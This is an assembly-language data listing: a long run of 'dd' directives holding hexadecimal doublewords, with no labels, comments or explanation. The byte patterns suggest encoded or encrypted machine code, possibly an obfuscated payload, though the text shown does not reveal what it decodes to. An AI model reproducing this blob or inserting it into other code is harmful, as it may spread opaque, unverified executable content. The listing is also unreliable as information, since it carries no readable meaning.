dd 10A0Dh, 1090D09h, 2010D00h, 8DFF0700h, 305AA35h, 34FFACFFh dd 0FFC002FFh, 0E2FF970Ch, 111C1318h, 1E1E1A16h, 0E4A0615h dd 0A0C9643h, 37E4905h, 0FFF9F7FFh, 0C0FF5588h, 0FF051565h dd 7E530C8Dh, 180FF13h, 0FFFEF7FFh, 504B60Fh, 348DFF1Dh dd 0FBF7FF7Eh, 0FF018AFFh, 88FF042Ah, 168AFF01h, 0D2F6FF28h dd 0FFD032FFh, 0FEFF5532h, 3BFF4EC2h, 1188FF75h, 1D184B43h dd 16111C13h, 151E1E1Ah, 400E480Ah, 5060C96h, 0FF037E28h dd 88FFF9F7h, 65C0FF55h, 8DFF0515h, 187EA80Ch, 0FF198AFFh dd 0FEFFFFF7h, 5D32FFCBh, 0CE1988FFh, 0FFD0F6FFh, 0FFAFC332h dd 0FFF0188h, 3FF04B6h, 0F7FF7ED6h, 0FFCE49FFh, 4FF4502h dd 7D3BFF64h, 400188FFh, 181D134Bh, 3802111Ch, 11070038h dd 383802h, 0C4F1107h, 65C8BFFh, 708DFF0Ah, 6010Ch, 6E480007h dd 0FF05FD96h, 0FF01C802h, 88FFC832h, 6487000Ch, 4B036D03h dd 0F97B8DFFh, 0FF05FD08h, 0FF01C802h, 88FFC832h, 8703000Ch dd 104FFF03h, 8DFF187Bh, 111D1343h, 0C151A16h, 0A3D2806h dd 11E8BFFh, 60135h, 486D83FFh, 0FF968807h, 0C05DF2Bh dd 0FFCE5000h, 0FF03C332h, 0FB03C32Ah, 7D3BFF64h, 8DFF154Bh dd 0FF08F978h, 0C05DF2Bh, 0FFCE5000h, 0FF03C332h, 0FB03C32Ah dd 15104FFFh, 411D1318h, 83FF4F11h, 6083FF60h, 0FF00C7FFh dd 0C7FF40C7h, 40C7FF40h, 0C1A1611h, 0A280668h, 0C8DFF46h dd 4E89FFA6h, 46FFFF3Bh, 78CB8BFFh, 0EA4E01FFh, 8E083FFh dd 4C8DFF05h, 0F82BFF18h, 3BDF3BFFh, 101E090Ch, 1E090Ah dd 60135h, 77D01FFh, 0A7DF2BFFh, 0FB8BFF22h, 93505A0h dd 6090001h, 4583FF00h, 0EB83FF07h, 0C0B4FFFh, 60972h dd 1D131807h, 74061141h, 0FF46050Ah, 3EA7E8Dh, 0FFC123FFh dd 8DFFC82Bh, 2C6FF54h, 0C3B9C90h, 0AD051Eh, 0C5E8DFFh dd 5050006h, 1D07000Ch, 51E9B10h, 50700ADh, 10A35h, 60135h dd 380605h, 60505h, 11131807h, 0C2E52EE0h, 0CE83FF06h dd 0FF428DFFh, 8AFFF22Bh, 5088FF11h, 7D118BFFh, 0FF1088FFh dd 0FF7D118Bh, 8BFF5088h, 88FF7D11h, 0FF9B3D50h, 3BFF148Dh dd 11132254h, 0C621A16h, 9050A06h, 1500010Dh, 788BFF07h dd 0FF508BFFh, 8C9D588Bh, 0F223FFD4h, 0FFD38BFFh, 0BFFD723h dd 0F103FFF2h, 829DE944h, 0FFEED278h, 8BFFCF03h, 0F123FFD1h dd 0FFD2F7FFh, 0FFEFD323h, 94BA708Bh, 0EF757DE6h, 0F28BFFA4h dd 0F723FFD4h, 0FFFA8BFFh, 7AF2F923h, 0A0AAE794h, 0FE0BFF75h dd 9DFA03FFh, 0D4DF23FFh, 40F123FFh dd 588BFFF1h, 75E8777Ah, 3FFF1C4h, 23FFA9F7h, 23FFB5FEh dd 0DF0BFFDAh, 0A0B3D170h, 0F90BFFABh, 0FF40D0C7h, 0F7FF4D23h dd 7D23FFD7h, 0FFF90BFFh, 82E97D03h, 98EED278h, 0B3D18BFFh dd 7C7D23FFh, 0FFD2F7FFh, 0BFFD623h, 0C3BA49D7h, 7DD78BFFh dd 0D70BFF9Fh, 0FA8BFFA4h, 0FFDA23FFh, 23FFD7F7h, 0FFE7F37Dh dd 0AA947D03h, 0BFFB49Fh, 0FA03FFFEh, 0DF23FF9Dh, 0F123FFD4h dd 7A68F140h, 8EB4E877h, 0F703FFF1h, 0FE23FFA9h, 0DA23FFB5h dd 70DF0BFFh, 0ABA0B3D1h, 0C7F90BFFh, 0FFCF8BFFh, 0F7FFDF8Bh dd 4D23FFD1h, 0D8DE23FFh, 0C4E7E998h, 0DA0BFFD2h, 0FFDF03FFh dd 8BFFCB8Bh, 0D1F7FFD7h, 0FFCE23FFh, 0CFEED323h, 82E92B98h dd 0FFEE7DABh, 8BFFCB03h, 0D923FFD1h, 0FFD2F7FFh, 0BFFD723h dd 0E694BAD3h, 93EF757Dh, 23FF8BA4h, 0D2F7FF75h, 0EF5523FFh dd 8BFFC3BAh, 0FF9F7DD7h, 0BAB3D70Bh, 0F28BFF8Bh, 0FF55F7FFh dd 23FF7523h, 49F2E77Dh, 0B49DC37Ah, 3FFF29Fh, 23FF43F2h dd 55F7FFDEh, 7D23FF49h, 3FFA9F3h, 5D23FF7Dh, 789FB3D1h dd 82F90BFFh, 0CF23FFC7h, 0D19868D8h, 0F0ABC47Ch, 0DF03FF44h dd 2BCF23FFh, 23FFD0BEh, 0D8447CCBh, 7882E998h, 8BFFEED2h dd 0F7FF98D7h, 5523FFD2h, 0DF23FF7Ch, 0BAD30BFFh, 757DE694h dd 8BA428EFh, 0D45523FFh, 68F123FFh, 7AF20BFFh, 8BFF93C3h dd 0FFA0D2D7h, 0FFB3D70Bh, 0FFD4D303h, 23FFF323h, 7A49F2FAh dd 75A0AA94h, 0E8FE0BFFh, 40FA03FFh, 0FFFB8BFFh, 0FFD47D23h dd 7AF2F223h, 0ABB493D1h, 82F10BFFh, 0D1F7FF7Ah, 0AA4D23FFh dd 0FFFA23FFh, 0C398CF0Bh, 78CF8BFFh, 0CF0BFF9Fh, 0CE03FF49h dd 5D23FF7Ch, 0FFD7F7FFh, 0A9F3FE23h, 0E97D03FFh, 9FFA8BFFh dd 0FA0BFF7Dh, 0F903FFE6h, 0FFD2F7FFh, 23FFD123h, 0D30BFFDFh dd 7740BA68h, 7DD38BFFh, 0D30BFF8Eh, 3FFB57Ch, 0DF23FFD7h dd 0FA23FFB3h, 70DF0BFFh, 75A0AA94h, 28FE0BFFh, 0FFFA03FFh dd 23FFDF8Bh, 23FFD45Dh, 0D17AF1F2h, 0FFABB493h, 0FF82F10Bh dd 0F7FFF703h, 23FFA9D1h, 0DA23FFCFh, 0D19868D8h, 0F0788E7Ch dd 0FFCF8BFFh, 0FF2BDE03h, 23FFDF8Bh, 0D1F7FF5Dh, 0D8CE23FFh dd 7882E998h, 98E6EED2h, 23FFD0BEh, 0F7FF6855h, 4D23FFD1h dd 0FF98CFEEh, 23FFD2F7h, 8BFFC3D3h, 0FF9F78CFh, 3FFCF0Bh dd 23FFB3CBh, 0D70BFF7Dh, 7DE694BAh, 0A4E8EF75h, 0FA8BFFD4h dd 0FFF123FFh, 49F2FB23h, 759DC37Ah, 0FFB3F2A0h, 33FFF203h dd 0FE33FFFAh, 777D03FFh, 0A0FB8BFFh, 0C7E7F38Eh, 0FFDE33FFh dd 0D170DF33h, 0F0ABC47Ch, 0FFDF03FFh, 33FFCB8Bh, 0CF33FFCEh dd 7882E998h, 8BFFEED2h, 0CB03FFD3h, 0D133FFBEh, 0CF33FF82h dd 0ABD09498h, 0CE0BFFB4h, 0D133FF98h, 8BFFC3BAh, 0FF9F7DD7h dd 9D49D70Bh, 0F133FFA4h, 7AF233FFh, 8EB4E877h, 0F203FFF1h dd 33FF43A9h, 0DA33FFD9h, 8BFF7770h, 0F38EA0FBh, 7D31FFC7h dd 0DA33FF68h, 8BFF7770h, 0D8C4ABCBh, 0CF03FF68h, 70D933FFh dd 0D38BFF77h, 0BFF8E7Dh, 0DF8BFFD3h, 0D933FFA4h, 70DA33FFh dd 75C4A994h, 0FFDE0BFFh, 2BE8DA03h, 0FFF133FFh, 947AF233h dd 0FF75A0AAh, 3FFFE0Bh, 7D31FFFBh, 0F233FF28h, 0ABD0947Ah dd 0CE0BFFB4h, 0CF03FF28h, 7AF133FFh, 757DE694h, 0FFA49DEFh dd 33FFF133h, 0E8777AF2h, 0FFF18EB4h, 0FFA9F203h, 33FFD933h dd 0FF7770DAh, 8EA0FB8Bh, 0FFC7A9F3h, 33FFDF33h, 7CD170DAh dd 0D0F0788Eh, 0FFDF03FFh, 0FFD8D1F7h, 0E998CF33h, 0EED27882h dd 0FFD78BFFh, 0F7FFCB03h, 0D10BFFD2h, 0BAD333FFh, 757DE694h dd 0D4A4E8EFh, 0FFF20BFFh, 0C37AF133h, 0F29FB49Dh, 0F203FFB3h dd 0FFD7F7FFh, 33FFFE0Bh, 7D03FFFAh, 0FB8BFF77h, 0E7F39FC4h dd 0BFFC7B5h, 0DE33FFDFh, 8BFF7770h, 0D8788ECBh, 3FFB5A9h dd 33FFF0CFh, 0FF7770DFh, 7D8ED38Bh, 0FFD30BFFh, 0B5A4DF8Bh dd 0FFDA0BFFh, 7770D933h, 0F18EB4E8h, 0F203FF7Ch, 0DE0BFFB5h dd 70DA33FFh, 0FB8BFF77h, 0E7F3C49Fh, 0BFFB5C7h, 0DE33FFDFh dd 8BFF7770h, 0D88E78CBh, 0CF03FFA9h, 33FFF0B5h, 0FF7770DFh dd 8E7DD38Bh, 0FFD30BFFh, 0B5A4DF8Bh, 0FFDA0BFFh, 7770D933h dd 0F18EB4E8h, 0F203FF7Ch, 0DE0BFFB5h, 70DA33FFh, 0FB8BFF77h dd 0E7F3C49Fh, 0BFFB5C7h, 0DE33FFDFh, 8BFF7770h, 0D88E78CBh dd 0CF03FFA9h, 33FFF0B5h, 0E7E970DFh, 0BFFD2C4h, 0D78BFFDAh dd 0FFD903FFh, 0BFFD2F7h, 0D133FFD3h, 7DE694BAh, 0FF93EF75h dd 0FFD4D303h, 33FFF20Bh, 0FFC37AF3h, 3FF308Bh, 0CF8BFFF1h dd 0BFFA0ABh, 3089FFCFh, 184803FFh, 0CA03FF13h, 0FF4889FFh dd 3FF488Bh, 4889FFCAh, 0FF488BFFh, 0FF1DCB03h, 111C4889h dd 0C2E52EE0h, 0FF050A06h, 0FF13428Dh, 0FFFF22Bh, 0FF3478B6h dd 8AFF708Ah, 0FFD23D10h, 0FFFD70Bh, 0FFD278B6h, 89FFD70Bh dd 148DFF11h, 543BFF9Bh, 11131822h, 5A1E1A16h, 5050206h dd 0F01050Dh, 905028Dh, 3 dup(9050230h), 0F090530h, 16111C13h dd 650C1E1Ah, 0C303FF84h, 3FF8465h, 0FF8465C1h, 8465C203h dd 878465EDh, 3FF8465h, 0FF8465C5h, 8465C403h, 65151400h dd 65846584h, 0FF846584h, 0D3FFCB03h, 0FFF65CBh, 3FF1DC1h dd 0C9D3FFC9h, 0C10FFF65h, 0CA03FF0Dh, 65CAD3FFh, 15C10FFFh dd 0FFC0D3FFh, 0D3FFC803h, 0CB03FFCBh, 0FFC9D3FFh, 0D3FFC181h dd 0CA03FFC2h, 0C10FFF65h, 0FFF6515h, 0FF650DC1h, 651DC10Fh dd 111C1D84h, 1A16h, 0FF448465h, 5C344D2Bh, 0C28BFF60h dd 414503FFh, 65000011h, 1184h, 25FF8465h, 65000011h, 1125FF84h dd 84650000h, 11E083FFh, 5C8BFF0Ch, 7408066Eh, 0FF0A2EA7h dd 0A0FB8Bh, 720689FFh, 0FFEB83FFh, 6E180B4Fh, 88FF002Eh dd 4BFF4E06h, 111D130Bh, 0B2D1A16h, 1511411Bh, 0A150B0Eh dd 33000901h, 2E035203h, 0FF28060Ch, 909DF8Bh, 688FF00h dd 4BFF4E03h, 1D130B03h, 114118A8h, 6621A16h, 10A0Dh, 1090D09h dd 2010D00h, 8DFF0700h, 305AA35h, 0DFFACFFh, 18E2FF97h dd 0C2111C13h, 8AFF060Ch, 0FB80FF19h, 84FF4A54h, 530A08DBh dd 0FF187E05h, 8AFFFFF7h, 0C332FF82h, 188FF4Eh, 1C8AFF4Fh dd 0FF0C8DFFh, 180BDB84h, 0C2111D13h, 8AFF060Ch, 0FB80FF19h dd 84FF4A2Eh, 530A08DBh, 0FF187E05h, 8AFFFFF7h, 0C332FF82h dd 188FF4Eh, 1C8AFF4Fh, 0FF0C8DFFh, 180BDB84h, 16111D13h dd 28062A1Ah, 402230Ah, 19010Ah, 5080E07h, 10204h, 40B0E07h dd 19010Ah, 4080E07h, 3000102h, 0B10B030Eh, 3540FFFFh dd 7972B101h, 2020602h, 13180700h, 1A16111Ch, 60C0029h dd 90C0A47h, 0E038D00h, 5082303h, 9010A04h, 1F120E30h dd 9020512h, 90C00h, 5120E07h, 9010A04h, 1F120E30h, 10408h dd 0FF440355h, 550B0189h, 0FF1F660Bh, 0B8C19E0Fh, 815C5CCCh dd 660B5510h, 9E0FFF1Fh, 9BCCB8C1h, 660B5510h, 9E0FFF1Fh dd 9BCCB8C1h, 660B5510h, 9E0FFF1Fh, 181B10C1h, 111C1D13h dd 291A16h, 0A28060Ch, 45190205h, 4014501h, 1026Bh, 12520733h dd 19010D5Ah, 0E140300h, 4471203h, 1050Ch, 1020405h, 2040200h dd 0A040001h, 10401h, 1020405h, 2040500h, 4070001h, 10205h dd 1020405h, 2040500h, 0A230001h, 0A040100h, 4050001h dd 7000102h, 0FF150B2Dh, 2D10048Bh, 8BFF150Bh, 152D1004h dd 48BFF0Bh, 48BFF10h, 10C04E3h, 19020019h, 80E0700h dd 10C0405h, 13180F19h, 16111C1Dh, 0C00291Ah, 0C0A4706h dd 38D0009h, 823030Eh, 10A0405h, 120E3009h, 205121Fh, 90C0009h dd 120E0700h, 10A0405h, 120E3009h, 104081Fh, 44035500h dd 0B0189FFh, 1F660B55h, 0C19E0FFFh, 5C5CCCB8h, 0B551081h dd 0FFF1F66h, 0CCB8C19Eh, 0B55109Bh, 0FFF1F66h, 0CCB8C19Eh dd 0B55109Bh, 0FFF1F66h, 1B10C19Eh, 1C1D1318h, 291A1611h dd 28060C00h, 1902050Ah, 1450145h, 1026B04h, 0E140700h dd 10D5A12h, 3500019h, 2312036Eh, 1050A04h, 2040500h, 4050001h dd 9000102h, 1040104h, 2040500h, 4050001h, 7000102h, 0FF150BA7h dd 0A710048Bh, 8BFF150Bh, 0A7151004h, 48BFF0Bh, 48BFF10h dd 10A04E3h, 19020019h, 80E0700h, 10A0405h, 13180F19h dd 16111C1Dh, 0C00291Ah, 50A2806h, 1000135h, 60104h, 80E1407h dd 190205h, 7001902h, 47BF080Eh, 10C0405h, 4096119h, 2001901h dd 0E070019h, 0C040508h, 18611901h, 111C1D13h, 152A1A16h dd 0FF790205h, 0FF1E888Dh, 0D51E888Dh, 10204h, 0B0E1407h dd 60C111Ch, 505FF0Ah, 0FF037E47h, 3605F9F7h, 0FFC22BFFh dd 0C383FF79h, 6020228h, 0DA2BFFh, 1020545h, 2450500h dd 45050001h, 900010Ch, 4BB8DFFh, 48DFF01h, 3FF0001h, 0FF02057Dh dd 1048Dh, 0FF05E107h, 102048Dh, 0E1071500h, 8E8DFF59h dd 59085908h, 50E0008h, 2100208h, 5100145h, 2051002h, 1E020510h dd 5F071500h, 2 dup(4E01FF9Eh), 6 dup(8E01FF9Eh), 0C22BFF7Eh dd 0FFF8D1FFh, 1FF8601h, 1318A886h, 16111C1Dh, 600291Ah dd 205490Ah, 77FFFFh, 77FFFF02h, 120E0700h, 206044Ah, 77FFFF01h dd 0FF02050Fh, 8DFF77FFh, 8DFF0187h, 0FF040187h, 102B7FFh dd 14F60700h, 5470C12h, 88FF0005h, 57034E84h, 0D054B03h dd 5000102h, 1020Dh, 1020D05h, 20D0500h, 0D050001h, 5000102h dd 1020Dh, 0FF260407h, 205752Bh, 4050001h, 5000102h, 10504h dd 1020405h, 2040500h, 4050001h, 7000102h, 1020504h, 5040500h dd 4050001h, 5000102h, 10405h, 1020405h, 5040500h, 4070001h dd 10205h, 1050406h, 81FF0900h, 580104C6h, 47A0001h, 158010Ch dd 0F303FF00h, 1580205h, 2057200h, 72000158h, 0B589FF07h dd 4E30635h, 77FFFF01h, 0FFFF0200h, 0E070077h, 405081Dh dd 0FFFF0102h, 13180F77h, 1A16111Ch, 60C0029h, 2050A28h dd 45014519h, 26B0401h, 4140001h, 0D120E07h, 13501h, 5000010Dh dd 1020405h, 0E3D1FFh, 4010C0Dh, 58050001h, 0FF000102h dd 4FFC38Ah, 0C38AFFBDh, 83FF04FFh, 0C04BDC3h, 23001901h dd 700190Ah, 547120Eh, 19010C04h, 1902050Fh, 190A00h, 5120E07h dd 19010C04h, 1902020Fh, 190A00h, 5120E07h, 19010C04h dd 126E680Fh, 1020405h, 1C8DFF00h, 10C0405h, 1040900h dd 5000104h, 10204h, 10C0405h, 1040900h, 7000104h, 4A580FFh dd 1040102h, 0C044700h, 0C000105h, 10504h, 1020405h, 1020400h dd 5000104h, 10204h, 1020407h, 2000104h, 10204h, 19010402h dd 190A00h, 1B0B0E07h, 2040517h, 40F1901h, 190102h, 4021707h dd 23000105h, 10A0405h, 1040900h, 5000104h, 10204h, 1020405h dd 2040500h, 4070001h, 104010Ah, 2040200h, 80FF0001h, 10204A5h dd 5070019h, 1D131836h, 29111Ch, 0FF06160Ch, 0A2CB48Bh dd 0FF5E39FFh, 0B235C89h, 10C350Ah, 44C7FF35h, 39070001h dd 202127Bh, 190A0019h, 120E0700h, 0FF0CBDFFh, 165F1D8Bh dd 0FFFF1901h, 190202D3h, 190A00h, 5120E07h, 1901165Fh dd 2D3FFFFh, 0A001902h, 0E070019h, 0A5F4808h, 0FF190116h dd 0BF8D3FFh, 3000605h, 50B030Eh, 0F8100006h, 60A0Bh, 37C39FFh dd 190B03h, 7E89FF06h, 18030300h, 0FF1D4113h, 1611C481h dd 680C2A1Ah, 0FFFF0205h, 838DFF73h, 838DFF01h, 0FFFF0401h dd 102B3h, 120E1407h, 4050A06h, 2000102h, 10504h, 0A180405h dd 0A000102h, 10204h, 102040Ah, 40A2600h, 7000106h, 1060A04h dd 2040A00h, 40A0001h, 0A000106h, 10604h, 1050405h, 6042800h dd 10401h, 0C681FF07h, 1025805h, 6047200h, 73FFFF01h, 13180700h dd 11111C1Dh, 0C2A1A16h, 50A2806h, 1451902h, 6B040145h dd 7000102h, 2120E14h, 47001902h, 0A040C23h, 7001901h dd 202120Eh, 40C0019h, 19010Ah, 2120E07h, 0C001902h, 19010A04h dd 120E0700h, 2CFF05FEh, 0FEAF1902h, 0AF2CFFh, 10A040Ch dd 0E070019h, 19020512h, 0A040C00h, 7001901h, 202120Eh dd 40C0019h, 19010Ah, 71120E07h, 71211D05h, 2040221h, 4490001h dd 104010Ah, 0FF052900h, 5801C72Bh, 40C0001h, 23000102h dd 10A0D0Ch, 0A0D0C00h, 0D070001h, 10A0Ch, 1020D05h, 0A042300h dd 7001901h, 0A040F02h, 7001901h, 91087117h, 2040221h dd 0A5290001h, 1020401h, 1040900h, 1A50Dh, 3A14070Dh, 90A0C23h dd 5D01FF00h, 4DFFFF07h, 20D050Bh, 2040001h, 7001901h dd 1C1D1318h, 291A1611h, 28060C00h, 145190Ah, 6B040145h dd 7000102h, 2120E14h, 47001902h, 0A040C23h, 7001901h dd 0BB1F121Fh, 2022155h, 40C0019h, 19010Ah, 1F121F07h dd 190202BBh, 0A040C00h, 7001901h, 0BB1F121Fh, 4052155h dd 4000102h, 13501h, 3D9E055Fh, 4010D14h, 1500BE01h, 1580205h dd 4583FF00h, 143D1505h, 104010Dh, 1040900h, 4070019h dd 19010A0Ch, 121F0700h, 2155BB1Fh, 190205h, 10A040Ch dd 1F070019h, 55BB1F12h, 19020221h, 0A040C00h, 7001901h dd 0BB1F121Fh, 4052155h, 7000102h, 20B022Dh, 1040210h dd 9040700h, 10401h, 1020405h, 1020400h, 40C0019h, 19010Ah dd 1D131807h, 3805111Ch, 11030300h, 3003805h, 4A061103h dd 2E7439FFh, 0FFFD4FE5h, 80FFC18Ah, 0E8C0FFE1h, 0FFC180FFh dd 0A88FF04h, 4E4288FFh, 3BFF9090h, 11132274h, 1E1E1A16h dd 0A060C71h, 4D80FF08h, 1568CA10h, 0A64B8DFFh, 4D80FF54h dd 438DFFCAh, 8966FF2Bh, 66FF1045h, 0CA3D4589h, 0FFF8314h dd 140145B7h, 14030E00h, 5101B0Bh, 3758DFFh, 49A36C33h dd 63D0A28h, 0D070001h, 9090105h, 0E090F09h, 1003000Bh dd 8037100h, 0DF2BFF05h, 8DFFC709h, 620A0C75h, 8BFF0305h dd 0A36C09FCh, 5100700h, 1D131836h, 1A16111Ch, 60C0029h dd 12DB480Ah, 192812DBh, 1450145h, 1026B04h, 14670700h dd 6057208h, 1F030043h, 6050803h, 31F0300h, 2171B08h, 10A04h dd 0A060426h, 4020001h, 200010Ah, 10504h, 0FF020515h, 0FF2B1C8Dh dd 8BFF838Bh, 8C89FF8Bh, 5000104h, 10204h, 4010407h, 4000109h dd 4010001h, 10401h, 0FF000104h, 6607A480h, 0F66FF04h dd 66FF94B6h, 255C1089h, 0CE3BFF25h, 4260922h, 10602h dd 4010604h, 9020001h, 80E0700h, 6020409h, 4060001h, 5000102h dd 10A04h, 29140704h, 401010Ah, 4090F01h, 10602h, 1020406h dd 0A040700h dd 50A050Ah, 1F0F0102h, 174A0B14h, 10A0D05h, 13CA0500h dd 36830583h, 0AF141483h, 20D0614h, 66FF4301h, 66FF45C7h dd 66FF7D89h, 66FF45C7h, 0FF4045C7h, 7D8966h, 1020D06h dd 0D07003Ah, 50D010Ah, 0E0F0901h, 10408h, 0A8FF035Fh dd 0FF4D0814h, 0FF0B45F6h, 1305BB80h, 7501FF08h, 3000104h dd 0A8FF5F44h, 3D102508h, 8BB80FFh, 252510EDh, 50001401h dd 0DF3BFF03h, 170F090Bh, 0C0A09h, 0C0206h, 25000104h dd 0FF4389FFh, 8BFF7B89h, 4389FF43h, 8DFF0104h, 4000143h dd 75F0001h, 814A8FFh, 0BA8FF25h, 80FF4414h, 0FF0608B9h dd 102C303h, 1FF0700h, 8DFF1575h, 10434h, 4583FF25h, 7E89FF7Bh dd 689FF46h, 0FF150104h, 1C303h, 44000104h, 0A8FF5F07h dd 0FF250814h, 5140BA8h, 0AC303FFh, 28150001h, 80FF3D07h dd 89FF08BEh, 66FF103Ch, 0D0504C7h, 700010Ah, 0CA8E8AFFh dd 66FF05CAh, 0FF367D89h, 17D8966h, 8DFF0902h, 0D9F6FF75h dd 0CC91BFFh, 839B62CCh, 8966FF05h, 0FF83034Dh, 3A09FC8Bh dd 0A36C14h, 4A0B0E07h, 9130510h, 3000C0Fh, 90A0A48h, 510530Fh dd 1D131836h, 3805111Ch, 30E0300h, 38010Bh, 16110303h dd 490A061Ah, 7D2BFF4Ah, 15099652h, 109EDh, 4E080E07h dd 4BF73BFFh, 4113181Bh, 10360511h, 291A16h, 59060C15h dd 859080Ah, 13181B59h, 2111C1Dh, 90205h, 53000620h, 0FF765B07h dd 510E083h, 330F0505h, 6DCB83FFh, 54A0840h, 1060Dh, 0C766FF07h dd 90F0245h, 458966FFh, 50D140Fh, 390F0A01h, 2050612h dd 12390F0Ah, 48D0623h, 3009010Ah, 174A0B39h, 5050B55h dd 390F0902h, 0A040508h, 20300901h, 0B550857h, 6040205h dd 0E070001h, 81FF1B08h, 9D0FFFFEh, 51025C0h, 1060402h dd 765B0700h, 20E083FFh, 17530F09h, 60C1A16h, 0A572C28h dd 2E374A0Bh, 0FF000C05h, 303848Ah, 0FF4EFB44h, 1022753Bh dd 374A0B73h, 0C052Eh, 3848AFFh, 4EFB4403h, 22753BFFh dd 2E374810h, 0FF000C05h, 3C0BE0Fh, 3048DFFh, 0BB085FFh dd 808AFF44h, 3BFF64FBh, 1318227Dh, 1611411Dh, 60C2A1Ah dd 9090502h, 6E075000h, 208A708h, 3200002h, 0C0B0332h dd 131B0300h, 0A111C1Dh, 0B46F6FFh, 5040206h, 4330001h dd 0C010Ah, 0F83BFF07h, 3000C08h, 0C1048h, 6180503h, 18A80300h dd 2A1A1610h, 260A060Ch, 1060402h, 10400h, 1040168h, 8AFF000Ch dd 1B030515h, 9588FF95h, 97DD866Ch, 7D8DFF1Bh, 25588FFh dd 0C1B9786h, 141414h, 4120E07h, 0C0106h, 1F120E07h, 1230D12h dd 10A04h, 120E1407h, 50A010Dh, 0E140700h, 10D3A0Bh, 900050Ah dd 0BBC0700h, 0BC17023Ah, 17023A0Bh, 122D122Dh, 3 dup(17020BBCh) dd 0BBC12BCh, 0BBC1702h, 3 dup(10D010Dh), 0D6000902h, 1D60107h dd 1D601D6h, 1020402h, 0FF071B00h, 8AFF658Ah, 0D020145h dd 7000105h, 0BBC1702h, 33000202h, 12035203h, 0A0505h dd 505000Ah, 0A00140Ah, 9040700h, 10602h, 1000104h, 0C0104h dd 21BC1707h, 1060402h, 10400h, 0C010401h, 50D0200h, 10401h dd 120E1407h, 202121Fh, 52033300h, 5051203h, 0A000Ah, 140A0505h dd 7000A00h, 2090204h, 4000106h, 4010001h, 9000901h, 4020700h dd 4000106h, 4010001h, 7000C01h, 3000C02h, 21BC1703h, 1060402h dd 10400h, 0C010401h, 4010D00h, 0E070001h, 6040212h, 1040001h dd 1040100h, 205000Ch, 8DFF0700h, 11E258Dh, 20202h, 100F0207h dd 4020BBCh, 4000106h, 4010001h, 7000C01h, 1060402h, 10400h dd 0C010401h, 7000C00h, 1D13181Bh, 1A163F1Ch, 490A062Ah dd 3000A05h, 2612030Eh, 0A010604h, 120E0700h, 104121Fh dd 1C50400h, 30E0300h, 1020421h, 10400h, 0A010401h, 6040500h dd 7000A01h, 121F120Eh, 4000104h, 30001C5h, 0B030Eh, 1020401h dd 10400h, 0A010401h, 6040500h, 7000A01h, 81F080Eh, 4000104h dd 5B0001C5h, 25037603h, 13181B10h, 1A16111Ch, 0A060C2Ah dd 1040902h, 7000900h, 0D18052Ch, 0A0105h, 1050D05h, 7200002h dd 60832h, 0D08030Eh, 50000105h, 8036E03h, 64030006h, 22FF81FFh dd 270B6Eh, 4513C10h, 7000102h, 20000C02h, 8033203h, 2060873h dd 30E0300h, 300060Bh, 0C089A3Ch, 3002700h, 1B131803h dd 383F1C1Dh, 63F00h, 20B0Eh, 8320320h, 0A35B20Ah, 31B0001h dd 38738FFh, 601B702h, 18070002h, 1A161113h, 0A060C2Ah dd 1040902h, 7000900h, 13050C2Ch, 330F0606h, 41240F9h dd 10001h, 10C0D05h, 66FF0700h, 0F057589h, 458966FFh, 140F0104h dd 501050Dh, 0F3A0A02h, 0A01050Dh, 2121F0Fh, 39030002h dd 0A0B1403h, 4513C17h, 6000102h, 900090Ch, 90C0C00h, 4020014h dd 8D00010Ch, 36440507h, 0DE3142Bh, 40C01CDh, 0F0C010Ch dd 8E0FFF0Eh, 0BD5EA0FFh, 6C3A951Bh, 0D97DD86h, 0C010D01h dd 9010204h, 1F08390Fh, 9D38FF08h, 4215521h, 58230001h dd 100140Ah, 7000A09h, 0D09080Eh, 2050C01h, 90C0C17h, 0B0040900h dd 285C6FFh, 0FFB00105h, 70085C6h, 1E093D4Ch, 104010Ch dd 0FF215517h, 69FE8D8Ah, 85C6FFB0h, 0C0FEFF0Bh, 0BDC932FFh dd 0FEFF10B0h, 88FFBDC1h, 0FFF6F8Dh, 0C1FFC9B6h, 0FF5F0CE0h dd 1401E0C1h, 4090009h, 10502h, 90D3307h, 478DFF01h, 104010Ch dd 0B6D3009h, 4922C915h, 300020Ah, 5080367h, 33030002h dd 0F090503h, 10D01h, 1640D07h, 202020Ah, 9100700h, 50C010Dh dd 3C300902h, 912F4h, 270F0903h, 13180300h, 3F1C1D1Bh dd 20000206h, 0A083203h, 10A35B2h, 0FF031B00h, 2038738h dd 20601B7h, 13180700h, 341A1611h, 662EDC06h, 2E4D39FFh dd 32FFCE15h, 3AFF2845h, 0FF5C0804h, 90224D3Bh, 22553BFFh dd 1141131Bh, 16103605h, 60C2D1Ah, 56290B0Ah, 2012822h dd 7001406h, 0FF9E8DFFh, 2D10BE8Dh, 2256290Bh, 6020128h dd 0FF070014h, 81FFBE8Dh, 562910C6h, 28101B3Bh, 14060201h dd 8DFF0700h, 0BE8DFF9Eh, 6EC681FFh, 0FF0F0908h, 8520389h dd 1030009h, 8966FF0Fh, 15083207h, 150689FFh, 411D1318h dd 1E1A1611h, 220A062Dh, 35092809h, 2090914h, 7330001h dd 171B0B52h, 60205h, 514075Dh, 509090Dh, 0E070001h, 905150Bh dd 14C733FFh, 105090Dh, 80E0700h, 10421400h, 157B0C15h dd 1D8AFF7Bh, 909097Fh, 700090Ah, 0FF00080Eh, 0FF7FD88Ah dd 1B101D88h, 525E88FFh, 3FF442Eh, 1930FFC8h, 0FF226725h dd 181D478Dh, 16111C13h, 0A062A1Ah, 5000505h, 7003305h dd 991305AFh, 50508h, 4E4488FFh, 0F73BFF03h, 25F0B03h dd 4260001h, 10206h, 104010Dh, 1060400h, 18070009h, 16111C13h dd 60C2A1Ah, 5DB480Ah, 0FFDB0B1Dh, 29081D89h, 0D51054Ah dd 0D050001h, 0D00016Bh, 10D0001h, 0D010D00h, 0E070001h dd 39FF720Bh, 100B45BEh, 0DB1D89FFh, 2020Bh, 3520333h dd 60A2608h, 10C04h, 1080E07h, 90104h, 0C04060Ah, 10070001h dd 0FF03000Ah dd 1318C38Bh, 16111C1Dh, 25A1E1Ah, 0E030009h, 111C0B03h dd 1050D05h, 1C150F09h, 1B480A11h, 0FF5E08DBh, 3BFF518Bh dd 259B0854h, 0B3939FFh, 0C06BFF10h, 8DFF7406h, 60A05B8h dd 72000600h, 13070006h, 161118A8h, 6152A1Ah, 1053Dh, 9010420h dd 0B0E0700h, 10204h, 4E040303h, 9090601h, 7000202h, 16111C13h dd 60C2A1Ah, 500090Ah, 1090Dh, 0D00010Dh, 4230001h, 1050Ah dd 26475A07h, 300090Ch, 408030Eh, 90106h, 66121F07h, 8C13BFFh dd 948BFF2Eh, 8553BFFh, 